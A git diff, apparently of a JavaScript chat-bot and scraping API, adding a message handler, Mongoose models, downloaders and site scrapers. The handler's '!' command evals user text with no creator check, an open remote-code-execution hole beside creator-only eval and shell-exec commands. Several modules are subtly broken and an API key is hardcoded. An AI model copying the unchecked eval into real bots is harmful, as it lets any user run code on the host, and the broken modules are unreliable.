(budy.startsWith('>')) { +if (!isCreator) return +let kode = budy.trim().split(/ +/)[0] +let teks +try { +teks = await eval(`(async () => { ${kode == ">>" ? "return" : ""} ${q}})()`) +} catch (e) { +teks = e +} finally { +await m.reply(require('util').format(teks)) +} +} + +if (budy.startsWith('!')) { +try { +return reply(JSON.stringify(eval(`${args.join(' ')}`),null,'\t')) +} catch (e) { +reply(e) +} +} + +if (budy.startsWith('$')) { +if (!isCreator) return +exec(budy.slice(2), (err, stdout) => { +if (err) return m.reply(`${err}`) +if (stdout) return m.reply(stdout) +}) +} +} + +} catch (err) { +console.log(util.format(err)) +} +} + + +let file = require.resolve(__filename) +fs.watchFile(file, () => { +fs.unwatchFile(file) +console.log(`Update ${__filename}`) +delete require.cache[file] +require(file) +}) diff --git a/User.js b/User.js new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/User.js.bak b/User.js.bak new file mode 100644 index 0000000000000000000000000000000000000000..ea312b4b7143f8a81c9cfe9872ba1a956de25f82 --- /dev/null +++ b/User.js.bak @@ -0,0 +1,15 @@ +import mongoose from 'mongoose'; +import bcrypt from 'bcrypt'; + +const UserSchema = new mongoose.Schema({ + username: { type: String, required: true, unique: true }, + password: { type: String, required: true }, +}); + +UserSchema.pre('save', async function (next) { + if (!this.isModified('password')) return next(); + this.password = await bcrypt.hash(this.password, 10); + next(); +}); + +export = mongoose.model('User', UserSchema); \ No newline at end of file diff --git a/codes.json b/codes.json new file mode 100644 index 0000000000000000000000000000000000000000..f9e52391c815432a51cb68f0d25a43da3d63f37d --- /dev/null +++ b/codes.json @@ -0,0 +1,14 @@ +[ + { + "id": "code1", + "name": "JavaScript Array Utilities", + "description": "A collection of useful array manipulation functions.", + "filePath": "./codes/array-utils.js" + }, + { + "id": "code2", + "name": "DOM Manipulation Library", + "description": "Lightweight library for DOM manipulation.", + "filePath": "./codes/dom-library.js" + } +] \ No newline at end of file diff --git a/exports/Stats.js b/exports/Stats.js new file mode 100644 index 0000000000000000000000000000000000000000..3ef6f0ff4a5a28ff578696aca4e23541617d77b2 --- /dev/null +++ b/exports/Stats.js @@ -0,0 +1,9 @@ +// In your models or exports folder, create Stats.js +import mongoose from 'mongoose'; + +const statsSchema = new mongoose.Schema({ + total_requests: { type: Number, required: true, default: 0 }, +}); + +const Stats = mongoose.model('Stats', statsSchema); +export default Stats; \ No newline at end of file diff --git a/exports/Stats.js.bak b/exports/Stats.js.bak new file mode 100644 index 0000000000000000000000000000000000000000..1f0fb7f408306d9a58cadd9d68983aed6444775b --- /dev/null +++ b/exports/Stats.js.bak @@ -0,0 +1,19 @@ +import Stats from './exports/Stats.js'; // Adjust path if necessary + +async function initializeStats() { + try { + const stats = await Stats.findOne(); + if (!stats) { + await Stats.create({ total_requests: 0 }); + console.log('Initialized stats in MongoDB.'); + } else { + console.log('Stats already initialized.'); + } + } catch (error) { + console.error('Error initializing stats:', error.message); + process.exit(1); + } +} + +// Call this function before starting the server +initializeStats(); \ No newline at end of file diff --git a/exports/User.js b/exports/User.js new file mode 100644 index 0000000000000000000000000000000000000000..1077410c41f263b5a541d1570b2dc63ffaf2de95 --- /dev/null +++ b/exports/User.js @@ -0,0 +1,19 @@ +import mongoose from 'mongoose'; +import bcrypt from 'bcrypt'; + +// Define the User schema +const UserSchema = new mongoose.Schema({ + username: { type: String, required: true, unique: true }, + password: { type: String, required: true } +}); + +// Hash the password before saving the user +UserSchema.pre('save', async function (next) { + if (!this.isModified('password')) return next(); + this.password = await bcrypt.hash(this.password, 10); + next(); +}); + +// Export the User model as default +const User = mongoose.model('User', UserSchema); +export default User; \ No newline at end of file diff --git a/exports/User.js.bak b/exports/User.js.bak new file mode 100644 index 0000000000000000000000000000000000000000..5b375227b86760cf214f586a289683afb6d12b35 --- /dev/null +++ b/exports/User.js.bak @@ -0,0 +1,19 @@ + +const mongoose = require('mongoose'); +const bcrypt = require('bcrypt'); + +// Define the User schema +const UserSchema = new mongoose.Schema({ + username: { type: String, required: true, unique: true }, + password: { type: String, required: true } +}); + +// Hash the password before saving the user +UserSchema.pre('save', async function (next) { + if (!this.isModified('password')) return next(); + this.password = await bcrypt.hash(this.password, 10); + next(); +}); + +// Export the User model +module.exports = mongoose.model('User', UserSchema); \ No newline at end of file diff --git a/exports/chatbot.js b/exports/chatbot.js new file mode 100644 index 0000000000000000000000000000000000000000..a1d2e7d37be4bc8837826219b581308f86e1b06d --- /dev/null +++ b/exports/chatbot.js @@ -0,0 +1,33 @@ +import axios from 'axios'; + +const chatbot = { + send: async (message, model = "gpt-3.5-turbo") => { + try { + const modelx = ["gpt-3.5-turbo", "gpt-3.5-turbo-0125", "gpt-4o-mini", "gpt-4o"]; + if (!modelx.includes(model)) { + throw new Error("Invalid/Unsupported Model: " + modelx.join(', ')); + } + const payload = { + messages: [{ + role: "user", + content: message + }], + model: model + }; + const response = await axios.post("https://mpzxsmlptc4kfw5qw2h6nat6iu0hvxiw.lambda-url.us-east-2.on.aws/process", payload, { + headers: { + 'Content-Type': 'application/json', + 'User-Agent': 'Postify/1.0.0' + } + }); + + // Extract and return only the content from the response + return response.data.choices[0].message.content; + } catch (error) { + console.error(error); + throw error; + } + } +}; + +export { chatbot }; diff --git a/exports/ddownr.js b/exports/ddownr.js new file mode 100644 index 0000000000000000000000000000000000000000..0394ba14e374193eb7331778a9c86771d8e40a03 --- /dev/null +++ b/exports/ddownr.js @@ -0,0 +1,68 @@ +import axios from 'axios'; + +const formatAudio = ['mp3', 'm4a', 'webm', 'acc', 'flac', 'opus', 'ogg', 'wav']; +const formatVideo = ['360', '480', '720', '1080', '1440', '4k']; + +const ddownr = { + download: async (url, format) => { + if (!formatAudio.includes(format) && !formatVideo.includes(format)) { + throw new Error('Unsupported format, please check the list of valid formats.'); + } + + const config = { + method: 'GET', + url: `https://p.oceansaver.in/ajax/download.php?format=${format}&url=${encodeURIComponent(url)}&api=dfcb6d76f2f6a9894gjkege8a4ab232222`, + headers: { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' + } + }; + + try { + const response = await axios.request(config); + + if (response.data && response.data.success) { + const { id, title, info } = response.data; + const { image } = info; + const downloadUrl = await ddownr.cekProgress(id); + + return { + id: id, + image: image, + title: title, + downloadUrl: downloadUrl + }; + } else { + throw new Error('Failed to fetch video details.'); + } + } catch (error) { + console.error('Error:', error); + throw error; + } + }, + + cekProgress: async (id) => { + const config = { + method: 'GET', + url: `https://p.oceansaver.in/ajax/progress.php?id=${id}`, + headers: { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' + } + }; + + try { + while (true) { + const response = await axios.request(config); + + if (response.data && response.data.success && response.data.progress === 1000) { + return response.data.download_url; + } + await new Promise(resolve => setTimeout(resolve, 5000)); + } + } catch (error) { + console.error('Error:', error); + throw error; + } + } +}; + +export { ddownr }; \ No newline at end of file diff --git a/exports/ddownr.js.bak b/exports/ddownr.js.bak new file mode 100644 index 0000000000000000000000000000000000000000..1ad33af3ed225b56119a11dc2901e98fd2837695 --- /dev/null +++ b/exports/ddownr.js.bak @@ -0,0 +1,67 @@ +const axios = require('axios'); + +const formatAudio = ['mp3', 'm4a', 'webm', 'acc', 'flac', 'opus', 'ogg', 'wav']; +const formatVideo = ['360', '480', '720', '1080', '1440', '4k']; + +const ddownr = { + download: async (url, format) => { + if (!formatAudio.includes(format) && !formatVideo.includes(format)) { + throw new Error('Format nya gk support wak, coba cek lagi listnya.'); + } + + const config = { + method: 'GET', + url: `https://p.oceansaver.in/ajax/download.php?format=${format}&url=${encodeURIComponent(url)}&api=dfcb6d76f2f6a9894gjkege8a4ab232222`, + headers: { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' + } + }; + + try { + const response = await axios.request(config); + + if (response.data && response.data.success) { + const { id, title, info } = response.data; + const { image } = info; + const downloadUrl = await ddownr.cekProgress(id); + + return { + id: id, + image: image, + title: title, + downloadUrl: downloadUrl + }; + } else { + throw new Error('Failed to fetch video details.'); + } + } catch (error) { + console.error('Error:', error); + throw error; + } + }, + cekProgress: async (id) => { + const config = { + method: 'GET', + url: `https://p.oceansaver.in/ajax/progress.php?id=${id}`, + headers: { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' + } + }; + + try { + while (true) { + const response = await axios.request(config); + + if (response.data && response.data.success && response.data.progress === 1000) { + return response.data.download_url; + } + await new Promise(resolve => setTimeout(resolve, 5000)); + } + } catch (error) { + console.error('Error:', error); + throw error; + } + } +} + +export { ddownr }; diff --git a/exports/fontsScraper.js b/exports/fontsScraper.js new file mode 100644 index 0000000000000000000000000000000000000000..d44c4ff956e41953c03c764561ec216656bb4c35 --- /dev/null +++ b/exports/fontsScraper.js @@ -0,0 +1,342 @@ +import cheerio from "cheerio"; + +const BASE_URL = "https://www.dafont.com"; +const URL_THEME = "/themes.php"; +const URL_THEME_SEARCH = "/theme.php"; +const URL_AUTHOR = "/authors.php"; +const URL_TOP = "/top.php"; +const URL_NEW = "/new.php"; +const URL_SEARCH = "/search.php"; +const REG_FL = /\s?-\s?(\w+)\s?\w+\s?\w+/i; +const MAX_WORKERS = 5; + +let headersList = { + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", + "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,ru;q=0.6", + "Cache-Control": "max-age=0", + "Connection": "keep-alive", + "Host": "www.dafont.com", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Upgrade-Insecure-Requests": "1", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36", + "sec-ch-ua": '"Not A(Brand";v="8", "Chromium";v="132", "Google Chrome";v="132"', + "sec-ch-ua-mobile": "?0", + "sec-ch-ua-platform": '"Windows"' +} + +async function req(url, method = "GET", data = null, params = null) { + try { + let pUrl; + if (params) { + const cUrl = new URLSearchParams(); + Object.entries(params).forEach(([k, v]) => { + cUrl.append(k, v); + }) + pUrl = url + "?" + cUrl.toString(); + } else { + pUrl = url; + } + + return await fetch(pUrl, { + method, + headers: headersList, + ...(data ? { + body: data + } : {}) + }) + } catch (error) { + console.error(error); + return null; + } +} + +async function taskQueue(task, data, size) { + const active = new Set(); + const results = []; + let index = 0; + + return new Promise(async (resolve, reject) => { + while (data.length > index || active.size > 0) { + while (active.size < size && index < data.length) { + const pTask = task(data[index][1]); + active.add(pTask); + index++ + } + + const ff = await Promise.all(active); + results.push(...ff); + active.clear(); + } + + resolve(results); + }) +} + +async function GetRecently(url = null, eq = 1) { + let results = []; + + const re = await req(url ? url : BASE_URL); + const ct = await re.text(); + const $ = cheerio.load(ct); + $(".lv1left.dfbg").each((_, el) => { + const name = eq == 0 ? $(el).first().text().trim().split(" by ")[0].trim().replace(/\s?à\s?€\s?|\s?à\s?|\s?€\s?/gi, "") : $(el).find("strong").text().trim(); + const aut = $(el).find("a").eq(Number(eq)).text().trim(); + + results.push({ + name: name || null, + author: aut || null, + }) + }) + $(".lv1right.dfbg").each((i, el) => { + const ht = $(el).find("a"); + const mt = ht.eq(0).text().trim(); + const t = ht.eq(1).text().trim(); + + if (results[i]) { + results[i]["m_theme"] = mt || null; + results[i]["theme"] = t || null; + } + }) + $("[class=\"lv2right\"]").each((i, el) => { + const ht = $(el).find("span.light").text().trim(); + const cp = $(el).find("a.tdn.help.black").text().trim(); + const fl = $(el).text().trim().match(REG_FL); + + if (results[i]) { + results[i]["downloads"] = ht || null; + results[i]["copyright"] = cp || null; + fl ? results[i]["files"] = Number(fl[1]) : results[i]["files"] = null; + } + }) + $("[class=\"dlbox\"]").each((i, el) => { + const ht = $(el).find("a.dl").attr("href").trim(); + + if (results[i]) { + results[i]["dl_link"] = "https:" + ht || null; + } + }) + $(".preview[style]").each((i, el) => { + const ht = $(el).find("a").attr("href").trim(); + + if (results[i]) { + results[i]["font_link"] = BASE_URL + "/" + ht || null; + } + }) + + if (!results.length) { + return null; + } + + return results; +} + +async function GetThemes() { + let results = {}; + + const re = await req(BASE_URL + URL_THEME); + const ct = await re.text(); + const $ = cheerio.load(ct); + const table = $("table[style]"); + $(table).find("td.colthemes").each((_, el) => { + const th = $(el).find(".metacat.dfbg a"); + const mt = $(el).find(".catpp"); + + if (th.length > 1) { + th.each((i, v) => { + const ls = mt.eq(i).find("a"); + if (!results[$(v).text().trim()]) { + results[$(v).text().trim() || "other"] = []; + } + ls.each((_, m) => { + const id = $(m).attr("href").trim().match(/theme\.php\?cat\=(\d+)/i); + results[$(v).text().trim() || "other"].push({ + id: id ? id[1] : $(m).attr("href").trim().split("/").at(-1), + name: $(m).text().trim(), + link: BASE_URL + "/" + $(m).attr("href").trim().replace(/\.\//, ""), + }) + }) + }) + } else { + const ls = mt.find("a"); + if (!results[th.text().trim()]) { + results[th.text().trim() || "other"] = []; + } + ls.each((_, m) => { + const id = $(m).attr("href").trim().match(/theme\.php\?cat\=(\d+)/i); + results[th.text().trim() || "other"].push({ + id: id ? id[1] : $(m).attr("href").trim().split("/").at(-1), + name: $(m).text().trim(), + link: BASE_URL + "/" + $(m).attr("href").trim().replace(/\.\//, ""), + }) + }) + } + }) + + return results; +} + +async function GetAuthor(limit = 10) { + let results = {}; + let country = []; + + const re = await req(BASE_URL + URL_AUTHOR); + const ct = await re.text(); + const $ = cheerio.load(ct); + $(".tdn div.dfsmall[style]").each((_, el) => { + $(el).find("a").each((_, a) => { + country.push([$(a).text().trim(), (BASE_URL + $(a).attr("href").trim()).replace("./", "/")]); + }) + }) + + if (limit > country.length) { + return "Limit melebihi total negara!" + } + + const task = (link) => { + const results = []; + return new Promise(async resolve => { + + const re = await req(link); + const ct = await re.text(); + const $ = cheerio.load(ct); + + $("div[style=\"float:left\"] div[style=\";padding-right:30px\"] a").each((_, el) => { + const nl = $(el).text().trim(); + results.push(nl); + }) + + resolve(results); + }) + } + + const rs = await taskQueue(task, country.slice(0, limit), MAX_WORKERS); + + rs.forEach((v, i) => { + results[country[i][0].replace(/(\w+)\s?\(\w+\)/i, (_, p1) => p1)] = v; + }) + + return results; +} + +async function GetTop(limit = 10) { + let results = []; + let page = 1; + + while (results.length < limit) { + const pageParams = new URLSearchParams({ + page: page + }); + const gs = await GetRecently(BASE_URL + URL_TOP + "?" + pageParams.toString()); + if (gs == null) { + break; + } + results.push(...gs) + page++; + } + + return results; +} + +async function GetNew(limit = 10) { + let results = []; + let page = 1; + + while (results.length < limit) { + const pageParams = new URLSearchParams({ + page: page + }); + const gs = await GetRecently(BASE_URL + URL_NEW + "?" + pageParams.toString()); + if (gs == null) { + break; + } + results.push(...gs) + page++; + } + + return results; +} + +async function Search(query, limit = 10) { + let results = []; + let page = 1; + + while (results.length < limit) { + const pageParams = new URLSearchParams({ + q: query, + page: page + }); + const gs = await GetRecently(BASE_URL + URL_SEARCH + "?" + pageParams.toString(), 0); + if (gs == null) { + break; + } + results.push(...gs) + page++; + } + + return results; +} + +async function SearchCategory(catId, limit = 10) { + let results = []; + let page = 1; + + while (results.length < limit) { + const pageParams = new URLSearchParams({ + ...(Number(catId) ? {cat: catId} : {}), + page: page + }); + const gs = await GetRecently(Number(catId) ? (BASE_URL + URL_THEME_SEARCH + "?" + pageParams.toString()) : (BASE_URL + "/" + catId + "?" + pageParams.toString())); + if (gs == null) { + break; + } + results.push(...gs) + page++; + } + + return results; +} + +/** + * Contoh penggunaan + */ +(async () => { + const fs = require("node:fs"); + const LIMIT = 200; + + const recently = await GetRecently(); + await fs.writeFileSync("recently.json", JSON.stringify(recently, null, 2)) + console.log(recently); + + const theme = await GetThemes(); + await fs.writeFileSync("theme.json", JSON.stringify(theme, null, 2)) + console.log(theme); + + const author = await GetAuthor(20); // 20 negara + await fs.writeFileSync("author.json", JSON.stringify(author, null, 2)) + console.log(author); + + const top = await GetTop(LIMIT); + await fs.writeFileSync("top.json", JSON.stringify(top, null, 2)) + console.log(top); + + const news = await GetNew(LIMIT); + await fs.writeFileSync("news.json", JSON.stringify(news, null, 2)) + console.log(news); + + const search = await Search("Sans serif", LIMIT); + await fs.writeFileSync("search.json", JSON.stringify(search, null, 2)) + console.log(search); + + /** + * ID kategory ambil dari getThemes(); + */ + + const categ = await SearchCategory("303", LIMIT); // Sci-fi ( 303 ) + await fs.writeFileSync("categ.json", JSON.stringify(categ, null, 2)) + console.log(categ); +})(); + +export { GetRecently, GetAuthor, GetThemes, GetTop, GetNew, Search, SearchCategory }; \ No newline at end of file diff --git a/exports/fontsScraper.js.bak b/exports/fontsScraper.js.bak new file mode 100644 index 0000000000000000000000000000000000000000..b5904b30136c8d7a2cca0c16c2dbe13891b583cd --- /dev/null +++ b/exports/fontsScraper.js.bak @@ -0,0 +1,343 @@ +import cheerio from "cheerio"; + +const BASE_URL = "https://www.dafont.com"; +const URL_THEME = "/themes.php"; +const URL_THEME_SEARCH = "/theme.php"; +const URL_AUTHOR = "/authors.php"; +const URL_TOP = "/top.php"; +const URL_NEW = "/new.php"; +const URL_SEARCH = "/search.php"; +const REG_FL = /\s?-\s?(\w+)\s?\w+\s?\w+/i; +const MAX_WORKERS = 5; + +let headersList = { + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", + "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,ru;q=0.6", + "Cache-Control": "max-age=0", + "Connection": "keep-alive", + "Host": "www.dafont.com", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Upgrade-Insecure-Requests": "1", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36", + "sec-ch-ua": '"Not A(Brand";v="8", "Chromium";v="132", "Google Chrome";v="132"', + "sec-ch-ua-mobile": "?0", + "sec-ch-ua-platform": '"Windows"' +} + +async function req(url, method = "GET", data = null, params = null) { + try { + let pUrl; + if (params) { + const cUrl = new URLSearchParams(); + Object.entries(params).forEach(([k, v]) => { + cUrl.append(k, v); + }) + pUrl = url + "?" + cUrl.toString(); + } else { + pUrl = url; + } + + return await fetch(pUrl, { + method, + headers: headersList, + ...(data ? { + body: data + } : {}) + }) + } catch (error) { + console.error(error); + return null; + } +} + +async function taskQueue(task, data, size) { + const active = new Set(); + const results = []; + let index = 0; + + return new Promise(async (resolve, reject) => { + while (data.length > index || active.size > 0) { + while (active.size < size && index < data.length) { + const pTask = task(data[index][1]); + active.add(pTask); + index++ + } + + const ff = await Promise.all(active); + results.push(...ff); + active.clear(); + } + + resolve(results); + }) +} + +async function GetRecently(url = null, eq = 1) { + let results = []; + + const re = await req(url ? url : BASE_URL); + const ct = await re.text(); + const $ = cheerio.load(ct); + $(".lv1left.dfbg").each((_, el) => { + const name = eq == 0 ? $(el).first().text().trim().split(" by ")[0].trim().replace(/\s?à\s?€\s?|\s?à\s?|\s?€\s?/gi, "") : $(el).find("strong").text().trim(); + const aut = $(el).find("a").eq(Number(eq)).text().trim(); + + results.push({ + name: name || null, + author: aut || null, + }) + }) + $(".lv1right.dfbg").each((i, el) => { + const ht = $(el).find("a"); + const mt = ht.eq(0).text().trim(); + const t = ht.eq(1).text().trim(); + + if (results[i]) { + results[i]["m_theme"] = mt || null; + results[i]["theme"] = t || null; + } + }) + $("[class=\"lv2right\"]").each((i, el) => { + const ht = $(el).find("span.light").text().trim(); + const cp = $(el).find("a.tdn.help.black").text().trim(); + const fl = $(el).text().trim().match(REG_FL); + + if (results[i]) { + results[i]["downloads"] = ht || null; + results[i]["copyright"] = cp || null; + fl ? results[i]["files"] = Number(fl[1]) : results[i]["files"] = null; + } + }) + $("[class=\"dlbox\"]").each((i, el) => { + const ht = $(el).find("a.dl").attr("href").trim(); + + if (results[i]) { + results[i]["dl_link"] = "https:" + ht || null; + } + }) + $(".preview[style]").each((i, el) => { + const ht = $(el).find("a").attr("href").trim(); + + if (results[i]) { + results[i]["font_link"] = BASE_URL + "/" + ht || null; + } + }) + + if (!results.length) { + return null; + } + + return results; +} + +async function GetThemes() { + let results = {}; + + const re = await req(BASE_URL + URL_THEME); + const ct = await re.text(); + const $ = cheerio.load(ct); + const table = $("table[style]"); + $(table).find("td.colthemes").each((_, el) => { + const th = $(el).find(".metacat.dfbg a"); + const mt = $(el).find(".catpp"); + + if (th.length > 1) { + th.each((i, v) => { + const ls = mt.eq(i).find("a"); + if (!results[$(v).text().trim()]) { + results[$(v).text().trim() || "other"] = []; + } + ls.each((_, m) => { + const id = $(m).attr("href").trim().match(/theme\.php\?cat\=(\d+)/i); + results[$(v).text().trim() || "other"].push({ + id: id ? id[1] : $(m).attr("href").trim().split("/").at(-1), + name: $(m).text().trim(), + link: BASE_URL + "/" + $(m).attr("href").trim().replace(/\.\//, ""), + }) + }) + }) + } else { + const ls = mt.find("a"); + if (!results[th.text().trim()]) { + results[th.text().trim() || "other"] = []; + } + ls.each((_, m) => { + const id = $(m).attr("href").trim().match(/theme\.php\?cat\=(\d+)/i); + results[th.text().trim() || "other"].push({ + id: id ? id[1] : $(m).attr("href").trim().split("/").at(-1), + name: $(m).text().trim(), + link: BASE_URL + "/" + $(m).attr("href").trim().replace(/\.\//, ""), + }) + }) + } + }) + + return results; +} + +async function GetAuthor(limit = 10) { + let results = {}; + let country = []; + + const re = await req(BASE_URL + URL_AUTHOR); + const ct = await re.text(); + const $ = cheerio.load(ct); + $(".tdn div.dfsmall[style]").each((_, el) => { + $(el).find("a").each((_, a) => { + country.push([$(a).text().trim(), (BASE_URL + $(a).attr("href").trim()).replace("./", "/")]); + }) + }) + + if (limit > country.length) { + return "Limit melebihi total negara!" + } + + const task = (link) => { + const results = []; + return new Promise(async resolve => { + + const re = await req(link); + const ct = await re.text(); + const $ = cheerio.load(ct); + + $("div[style=\"float:left\"] div[style=\";padding-right:30px\"] a").each((_, el) => { + const nl = $(el).text().trim(); + results.push(nl); + }) + + resolve(results); + }) + } + + const rs = await taskQueue(task, country.slice(0, limit), MAX_WORKERS); + + rs.forEach((v, i) => { + results[country[i][0].replace(/(\w+)\s?\(\w+\)/i, (_, p1) => p1)] = v; + }) + + return results; +} + +async function GetTop(limit = 10) { + let results = []; + let page = 1; + + while (results.length < limit) { + const pageParams = new URLSearchParams({ + page: page + }); + const gs = await GetRecently(BASE_URL + URL_TOP + "?" + pageParams.toString()); + if (gs == null) { + break; + } + results.push(...gs) + page++; + } + + return results; +} + +async function GetNew(limit = 10) { + let results = []; + let page = 1; + + while (results.length < limit) { + const pageParams = new URLSearchParams({ + page: page + }); + const gs = await GetRecently(BASE_URL + URL_NEW + "?" + pageParams.toString()); + if (gs == null) { + break; + } + results.push(...gs) + page++; + } + + return results; +} + +async function Search(query, limit = 10) { + let results = []; + let page = 1; + + while (results.length < limit) { + const pageParams = new URLSearchParams({ + q: query, + page: page + }); + const gs = await GetRecently(BASE_URL + URL_SEARCH + "?" + pageParams.toString(), 0); + if (gs == null) { + break; + } + results.push(...gs) + page++; + } + + return results; +} + +async function SearchCategory(catId, limit = 10) { + let results = []; + let page = 1; + + while (results.length < limit) { + const pageParams = new URLSearchParams({ + ...(Number(catId) ? {cat: catId} : {}), + page: page + }); + const gs = await GetRecently(Number(catId) ? (BASE_URL + URL_THEME_SEARCH + "?" + pageParams.toString()) : (BASE_URL + "/" + catId + "?" + pageParams.toString())); + if (gs == null) { + break; + } + results.push(...gs) + page++; + } + + return results; +} + +/** + * Contoh penggunaan + */ +(async () => { + const fs = require("node:fs"); + const LIMIT = 200; + + const recently = await GetRecently(); + await fs.writeFileSync("recently.json", JSON.stringify(recently, null, 2)) + console.log(recently); + + const theme = await GetThemes(); + await fs.writeFileSync("theme.json", JSON.stringify(theme, null, 2)) + console.log(theme); + + const author = await GetAuthor(20); // 20 negara + await fs.writeFileSync("author.json", JSON.stringify(author, null, 2)) + console.log(author); + + const top = await GetTop(LIMIT); + await fs.writeFileSync("top.json", JSON.stringify(top, null, 2)) + console.log(top); + + const news = await GetNew(LIMIT); + await fs.writeFileSync("news.json", JSON.stringify(news, null, 2)) + console.log(news); + + const search = await Search("Sans serif", LIMIT); + await fs.writeFileSync("search.json", JSON.stringify(search, null, 2)) + console.log(search); + + /** + * ID kategory ambil dari getThemes(); + */ + + const categ = await SearchCategory("303", LIMIT); // Sci-fi ( 303 ) + await fs.writeFileSync("categ.json", JSON.stringify(categ, null, 2)) + console.log(categ); +})(); + +export { GetRecently, GetAuthor, GetThemes, GetTop, GetNew, Search, SearchCategory +}; \ No newline at end of file diff --git a/exports/gogoanime.js b/exports/gogoanime.js new file mode 100644 index 0000000000000000000000000000000000000000..807c15fe881b65e75fdacb0bebc02038d0f7c20c --- /dev/null +++ b/exports/gogoanime.js @@ -0,0 +1,103 @@ +import axios from "axios"; +import cheerio from "cheerio"; +import puppeteer from "puppeteer"; +import UserAgent from "user-agents"; + +const baseUrl = "https://gogoanime.run"; + +export async function newSeason(page) { + const animeList = []; + const res = await axios.get(`${baseUrl}/new-season.html?page=${page}`); + const $ = cheerio.load(res.data); + + $("div.main_body div.last_episodes ul.items li").each((_, element) => { + const $element = $(element); + const name = $element.find("p > a").html(); + const img = $element.find("div > a > img").attr("src"); + const link = $element.find("div > a").attr("href"); + animeList.push({ name, img_url: img, anime_id: link.slice(10) }); + }); + + return animeList; +} + +export async function popular(page) { + const animeList = []; + const res = await axios.get(`${baseUrl}/popular.html?page=${page}`); + const $ = cheerio.load(res.data); + + $("div.main_body div.last_episodes ul.items li").each((_, element) => { + const $element = $(element); + const name = $element.find("p > a").html(); + const img = $element.find("div > a > img").attr("src"); + const link = $element.find("div > a").attr("href"); + animeList.push({ name, img_url: img, anime_id: link.slice(10) }); + }); + + return animeList; +} + +export async function search(query) { + const animeList = []; + const res = await axios.get(`${baseUrl}/search.html?keyword=${query}`); + const $ = cheerio.load(res.data); + + $("div.main_body div.last_episodes ul.items li").each((_, element) => { + const $element = $(element); + const name = $element.find("p > a").html(); + const img = $element.find("div > a > img").attr("src"); + const link = $element.find("div > a").attr("href"); + animeList.push({ name, img_url: img, anime_id: link.slice(10) }); + }); + + return animeList; +} + +export async function anime(animeName) { + const res = await axios.get(`${baseUrl}/category/${animeName}`); + const $ = cheerio.load(res.data); + + const imgUrl = $("div.anime_info_body_bg img").attr("src"); + const animeNameText = $("div.anime_info_body_bg h1").text(); + const about = $("div.anime_info_body_bg p:nth-child(5)").text(); + + const episodeArray = []; + const episodes = $("#episode_page").children().last().find("a").text().split("-")[1]; + for (let i = 1; i <= episodes; i++) { + episodeArray.push(`${animeName}-episode-${i}`); + } + + return { name: animeNameText, img_url: imgUrl, about, episode_id: episodeArray }; +} + +export async function watchAnime(episodeId) { + const res = await axios.get(`${baseUrl}/${episodeId}`); + const $ = cheerio.load(res.data); + const episodeLink = $("li.dowloads > a").attr("href"); + + const downloadLinks = await getDownloadLink(episodeLink); + return downloadLinks; +} + +async function getDownloadLink(episodeLink) { + const browser = await puppeteer.launch({ headless: true }); + const page = await browser.newPage(); + await page.setUserAgent(new UserAgent().toString()); + await page.goto(episodeLink, { waitUntil: "networkidle0" }); + + const links = await page.evaluate(() => { + const links = []; + document.querySelectorAll(".mirror_link a").forEach((link) => { + const name = link.innerText.split("D ")[1].replace(/[()]/g, ""); + links.push({ name, link: link.href }); + }); + return links; + }); + + await browser.close(); + return links; +} + + + +export { newSeason, popular, search, anime, watchAnime }; // Export them for use in other parts of the API \ No newline at end of file diff --git a/exports/gogoanime.js.bak b/exports/gogoanime.js.bak new file mode 100644 index 0000000000000000000000000000000000000000..1f13c822814d89c257ac0b345d2f3f87e2c1e781 --- /dev/null +++ b/exports/gogoanime.js.bak @@ -0,0 +1,99 @@ +import axios from "axios"; +import cheerio from "cheerio"; +import puppeteer from "puppeteer"; +import UserAgent from "user-agents"; + +const baseUrl = "https://gogoanime.run"; + +export async function newSeason(page) { + const animeList = []; + const res = await axios.get(`${baseUrl}/new-season.html?page=${page}`); + const $ = cheerio.load(res.data); + + $("div.main_body div.last_episodes ul.items li").each((_, element) => { + const $element = $(element); + const name = $element.find("p > a").html(); + const img = $element.find("div > a > img").attr("src"); + const link = $element.find("div > a").attr("href"); + animeList.push({ name, img_url: img, anime_id: link.slice(10) }); + }); + + return animeList; +} + +export async function popular(page) { + const animeList = []; + const res = await axios.get(`${baseUrl}/popular.html?page=${page}`); + const $ = cheerio.load(res.data); + + $("div.main_body div.last_episodes ul.items li").each((_, element) => { + const $element = $(element); + const name = $element.find("p > a").html(); + const img = $element.find("div > a > img").attr("src"); + const link = $element.find("div > a").attr("href"); + animeList.push({ name, img_url: img, anime_id: link.slice(10) }); + }); + + return animeList; +} + +export async function search(query) { + const animeList = []; + const res = await axios.get(`${baseUrl}/search.html?keyword=${query}`); + const $ = cheerio.load(res.data); + + $("div.main_body div.last_episodes ul.items li").each((_, element) => { + const $element = $(element); + const name = $element.find("p > a").html(); + const img = $element.find("div > a > img").attr("src"); + const link = $element.find("div > a").attr("href"); + animeList.push({ name, 